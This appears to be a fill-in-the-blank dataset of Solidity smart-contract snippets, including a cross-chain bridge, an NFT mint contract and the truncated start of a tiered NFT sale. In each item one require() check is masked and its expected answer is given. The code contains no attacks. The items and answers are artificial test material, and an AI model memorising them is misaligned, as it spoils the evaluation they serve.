emit LockedToken(
token,
amount,
recipient,
targetChainId,
block.number,
proposalIndex++ // increment index to prevent collisions
);
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| __chains[targetChainId].isWhitelisted,"chain not supported" | 218,681 | __chains[targetChainId].isWhitelisted |
"chain not supported for token" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
require(__chains[targetChainId].isWhitelisted, "chain not supported");
require(<FILL_ME>)
require(__tokens[token].isWhitelisted, "token not whitelisted");
require(
amount <= __tokens[token].maxTransaction,
"over max transaction"
);
require(
amount >= __tokens[token].minTransaction,
"under min transaction"
);
uint256 gasFee = __tokens[token].gasFee;
uint256 fee = (amount * feeAmount) / feeFactor;
require(gasFee + fee < amount, "Transfer Amount Less Than Fee");
amount -= fee + gasFee;
if (__tokens[token].isGasToken) {
payable(feeRecipient).transfer(fee + gasFee);
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
feeRecipient,
fee + gasFee
);
}
if (__tokens[token].isGasToken) {
require(balance + amount <= address(this).balance);
balance = address(this).balance;
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
address(this),
amount
);
}
if (__tokens[token].nativeChain != chainId) {
IBurnable(__tokens[token].localAddress).burn(amount);
}
emit LockedToken(
token,
amount,
recipient,
targetChainId,
block.number,
proposalIndex++ // increment index to prevent collisions
);
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| tokenWhitelistedForChain[token][targetChainId],"chain not supported for token" | 218,681 | tokenWhitelistedForChain[token][targetChainId] |
"token not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
require(__chains[targetChainId].isWhitelisted, "chain not supported");
require(
tokenWhitelistedForChain[token][targetChainId],
"chain not supported for token"
);
require(<FILL_ME>)
require(
amount <= __tokens[token].maxTransaction,
"over max transaction"
);
require(
amount >= __tokens[token].minTransaction,
"under min transaction"
);
uint256 gasFee = __tokens[token].gasFee;
uint256 fee = (amount * feeAmount) / feeFactor;
require(gasFee + fee < amount, "Transfer Amount Less Than Fee");
amount -= fee + gasFee;
if (__tokens[token].isGasToken) {
payable(feeRecipient).transfer(fee + gasFee);
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
feeRecipient,
fee + gasFee
);
}
if (__tokens[token].isGasToken) {
require(balance + amount <= address(this).balance);
balance = address(this).balance;
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
address(this),
amount
);
}
if (__tokens[token].nativeChain != chainId) {
IBurnable(__tokens[token].localAddress).burn(amount);
}
emit LockedToken(
token,
amount,
recipient,
targetChainId,
block.number,
proposalIndex++ // increment index to prevent collisions
);
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| __tokens[token].isWhitelisted,"token not whitelisted" | 218,681 | __tokens[token].isWhitelisted |
"Transfer Amount Less Than Fee" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
require(__chains[targetChainId].isWhitelisted, "chain not supported");
require(
tokenWhitelistedForChain[token][targetChainId],
"chain not supported for token"
);
require(__tokens[token].isWhitelisted, "token not whitelisted");
require(
amount <= __tokens[token].maxTransaction,
"over max transaction"
);
require(
amount >= __tokens[token].minTransaction,
"under min transaction"
);
uint256 gasFee = __tokens[token].gasFee;
uint256 fee = (amount * feeAmount) / feeFactor;
require(<FILL_ME>)
amount -= fee + gasFee;
if (__tokens[token].isGasToken) {
payable(feeRecipient).transfer(fee + gasFee);
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
feeRecipient,
fee + gasFee
);
}
if (__tokens[token].isGasToken) {
require(balance + amount <= address(this).balance);
balance = address(this).balance;
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
address(this),
amount
);
}
if (__tokens[token].nativeChain != chainId) {
IBurnable(__tokens[token].localAddress).burn(amount);
}
emit LockedToken(
token,
amount,
recipient,
targetChainId,
block.number,
proposalIndex++ // increment index to prevent collisions
);
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| gasFee+fee<amount,"Transfer Amount Less Than Fee" | 218,681 | gasFee+fee<amount |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
import "./Signer.sol";
// TODO: Gas Fee
contract Bridge is IBridge, AccessControlled, Signer, Pausable {
uint8 constant DEFAULT_THRESHOLD = 2;
uint8 public threshold = DEFAULT_THRESHOLD;
uint8 public activeRelayerCount = 0;
uint8 public maxActiveRelayers = 255;
address public feeRecipient;
uint16 public feeAmount = 10; // 1%
uint16 public constant feeFactor = 1000;
uint256 public proposalIndex = 0;
bytes32 immutable chainId;
uint256 public balance = 0;
mapping(address => bool) public isWhitelistedRelayer;
mapping(bytes32 => mapping(bytes32 => bool)) tokenWhitelistedForChain;
mapping(bytes32 => Proposal) public __proposals;
mapping(bytes32 => Token) public __tokens;
mapping(bytes32 => Chain) public __chains;
constructor(
IAuthority _authority,
bytes32 chainId_,
address _feeRecipient,
// Relayers
address[] memory _relayers,
// Chains
bytes32[] memory _chainNames
) AccessControlled(_authority) {
}
/*
* Controller Methods
*/
function pause() external onlyController {
}
function unpause() external onlyController {
}
function setGasFee(bytes32 token, uint256 amount) external onlyController {
}
function updateFeeAmount(uint16 _feeAmount) external onlyController {
}
function updateRelayer(address _relayer, bool isWhitelisted)
external
onlyController
{
}
function updateMaxTransaction(bytes32 _token, uint256 maxTransaction)
external
onlyController
{
}
function updateMinTransaction(bytes32 _token, uint256 minTransaction)
external
onlyController
{
}
function addNativeToken(
bytes32 _token,
Token memory tokenData,
bytes32[] memory chainIds
) external onlyController {
}
function addNonNativeToken(
bytes32 _token,
uint256 maxTransaction,
uint256 minTransaction,
address nativeAddress,
bytes32 nativeChain,
bytes32[] memory chainIds,
string memory name_,
string memory symbol_,
uint8 decimals_
) external onlyController {
}
function whitelistChainId(bytes32 _chainId) external onlyController {
}
function setThreshold(uint8 _threshold) external onlyController {
}
/*
* Relayer Methods
*/
function unwrapMultipleWithSignatures(
RelayerRequest[] calldata requests,
bytes[][] memory signatures
) external {
}
function unwrapWithSignatures(
RelayerRequest calldata request,
bytes[] memory signatures
) external {
}
function unwrapWithSignature(
RelayerRequest calldata request,
bytes memory signature
) external {
}
function overrideUnwrap(bytes32 hashedProposal) external onlyController {
}
function batchUnwrap(RelayerRequest[] calldata requests) external {
}
function unwrap(RelayerRequest calldata request) public {
}
function _handleUnwrap(
RelayerRequest calldata request,
bytes32 hashedProposal,
address sender
) internal whenNotPaused {
}
/*
* Public Method
*/
function wrap(
bytes32 token,
uint256 amount,
address recipient,
bytes32 targetChainId
) public payable whenNotPaused {
require(__chains[targetChainId].isWhitelisted, "chain not supported");
require(
tokenWhitelistedForChain[token][targetChainId],
"chain not supported for token"
);
require(__tokens[token].isWhitelisted, "token not whitelisted");
require(
amount <= __tokens[token].maxTransaction,
"over max transaction"
);
require(
amount >= __tokens[token].minTransaction,
"under min transaction"
);
uint256 gasFee = __tokens[token].gasFee;
uint256 fee = (amount * feeAmount) / feeFactor;
require(gasFee + fee < amount, "Transfer Amount Less Than Fee");
amount -= fee + gasFee;
if (__tokens[token].isGasToken) {
payable(feeRecipient).transfer(fee + gasFee);
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
feeRecipient,
fee + gasFee
);
}
if (__tokens[token].isGasToken) {
require(<FILL_ME>)
balance = address(this).balance;
} else {
TransferHelper.safeTransferFrom(
__tokens[token].localAddress,
msg.sender,
address(this),
amount
);
}
if (__tokens[token].nativeChain != chainId) {
IBurnable(__tokens[token].localAddress).burn(amount);
}
emit LockedToken(
token,
amount,
recipient,
targetChainId,
block.number,
proposalIndex++ // increment index to prevent collisions
);
}
/*
* Private Functions
*/
function _unwrap(
bytes32 token,
uint256 amount,
address recipient
) private {
}
function deposit() external payable {
}
function sync() external {
}
/*
* VIEWS
*/
function hasVoted(bytes32 _hashedProposal, address voter)
external
view
returns (bool)
{
}
/*
* Pure Functions
*/
function hashProposal(RelayerRequest calldata request)
public
pure
returns (bytes32)
{
}
}
| balance+amount<=address(this).balance | 218,681 | balance+amount<=address(this).balance |
'The whitelist sale is currently enabled!' | pragma solidity >=0.8.9 <0.9.0;
contract Hacktivist is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public ogMerkleRoot;
bytes32 public teamMerkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public ogClaimed;
mapping(address => bool) public teamClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
uint256 public ogAmount = 3;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public active = false;
bool public wlMintEnabled = true;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(active, 'Contract is not active!');
require(<FILL_ME>)
_safeMint(msg.sender, _mintAmount);
}
function teamMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function airdrop(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function enablePublic() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot, bytes32 _teamMerkleRoot, bytes32 _ogMerkleRoot) public onlyOwner {
}
function setActive(bool _state) public onlyOwner {
}
function setWhitelistMintEnabled(bool _wlState) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !wlMintEnabled,'The whitelist sale is currently enabled!' | 218,737 | !wlMintEnabled |
'Address already claimed!' | pragma solidity >=0.8.9 <0.9.0;
contract Hacktivist is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public ogMerkleRoot;
bytes32 public teamMerkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public ogClaimed;
mapping(address => bool) public teamClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
uint256 public ogAmount = 3;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public active = false;
bool public wlMintEnabled = true;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function teamMint(bytes32[] calldata _merkleProof) public payable {
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, teamMerkleRoot, leaf), 'Invalid proof!');
teamClaimed[msg.sender] = true;
_safeMint(msg.sender, 1);
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function airdrop(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function enablePublic() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot, bytes32 _teamMerkleRoot, bytes32 _ogMerkleRoot) public onlyOwner {
}
function setActive(bool _state) public onlyOwner {
}
function setWhitelistMintEnabled(bool _wlState) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !teamClaimed[msg.sender],'Address already claimed!' | 218,737 | !teamClaimed[msg.sender] |
'Invalid proof!' | pragma solidity >=0.8.9 <0.9.0;
contract Hacktivist is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public ogMerkleRoot;
bytes32 public teamMerkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public ogClaimed;
mapping(address => bool) public teamClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
uint256 public ogAmount = 3;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public active = false;
bool public wlMintEnabled = true;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function teamMint(bytes32[] calldata _merkleProof) public payable {
require(!teamClaimed[msg.sender], 'Address already claimed!');
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
teamClaimed[msg.sender] = true;
_safeMint(msg.sender, 1);
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function airdrop(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function enablePublic() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot, bytes32 _teamMerkleRoot, bytes32 _ogMerkleRoot) public onlyOwner {
}
function setActive(bool _state) public onlyOwner {
}
function setWhitelistMintEnabled(bool _wlState) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| MerkleProof.verify(_merkleProof,teamMerkleRoot,leaf),'Invalid proof!' | 218,737 | MerkleProof.verify(_merkleProof,teamMerkleRoot,leaf) |
'Address already claimed!' | pragma solidity >=0.8.9 <0.9.0;
contract Hacktivist is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public ogMerkleRoot;
bytes32 public teamMerkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public ogClaimed;
mapping(address => bool) public teamClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
uint256 public ogAmount = 3;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public active = false;
bool public wlMintEnabled = true;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function teamMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
require(active, 'Contract is not active!');
require(wlMintEnabled, 'The whitelist sale is not enabled!');
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, ogMerkleRoot, leaf), 'Invalid proof!');
ogClaimed[msg.sender] = true;
_safeMint(msg.sender, ogAmount);
}
function airdrop(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function enablePublic() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot, bytes32 _teamMerkleRoot, bytes32 _ogMerkleRoot) public onlyOwner {
}
function setActive(bool _state) public onlyOwner {
}
function setWhitelistMintEnabled(bool _wlState) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| !ogClaimed[msg.sender],'Address already claimed!' | 218,737 | !ogClaimed[msg.sender] |
'Invalid proof!' | pragma solidity >=0.8.9 <0.9.0;
contract Hacktivist is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
bytes32 public merkleRoot;
bytes32 public ogMerkleRoot;
bytes32 public teamMerkleRoot;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public ogClaimed;
mapping(address => bool) public teamClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
uint256 public ogAmount = 3;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
bool public active = false;
bool public wlMintEnabled = true;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
string memory _uriPrefix,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function teamMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
require(active, 'Contract is not active!');
require(wlMintEnabled, 'The whitelist sale is not enabled!');
require(!ogClaimed[msg.sender], 'Address already claimed!');
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
ogClaimed[msg.sender] = true;
_safeMint(msg.sender, ogAmount);
}
function airdrop(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function enablePublic() public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot, bytes32 _teamMerkleRoot, bytes32 _ogMerkleRoot) public onlyOwner {
}
function setActive(bool _state) public onlyOwner {
}
function setWhitelistMintEnabled(bool _wlState) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| MerkleProof.verify(_merkleProof,ogMerkleRoot,leaf),'Invalid proof!' | 218,737 | MerkleProof.verify(_merkleProof,ogMerkleRoot,leaf) |
"Exceeds TIER1_SUPPLY" | pragma solidity ^0.8.7;
contract VegasLuckNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
DividendDistributor public DIV_DISTRIBUTOR;
uint256 public TIER1_SUPPLY = 825;
uint256 public TIER2_SUPPLY = 15;
uint256 public TIER3_SUPPLY = 5;
uint256 public TIER1_COST = 1.5 ether;
uint256 public TIER2_COST = 8 ether;
uint256 public TIER3_COST = 20 ether;
string private TIER1_BASE_URI;
string private TIER2_BASE_URI;
string private TIER3_BASE_URI;
string private UNREVEAL_URI;
uint256 public TIER1_COUNTER;
uint256 public TIER2_COUNTER;
uint256 public TIER3_COUNTER;
uint256 public SALE_STEP = 0; // 0: NONE, 1: PRESALE1, 2: PRESALE2, 3: PUBLIC
bool public REVEALED = false;
mapping(address => uint256) public MAP_REFERRAL_FROM_ADDRESS;
mapping(uint256 => address) public MAP_ADDRESS_FROM_REFERRAL;
mapping(address => bool) public MAP_WHITELIST1;
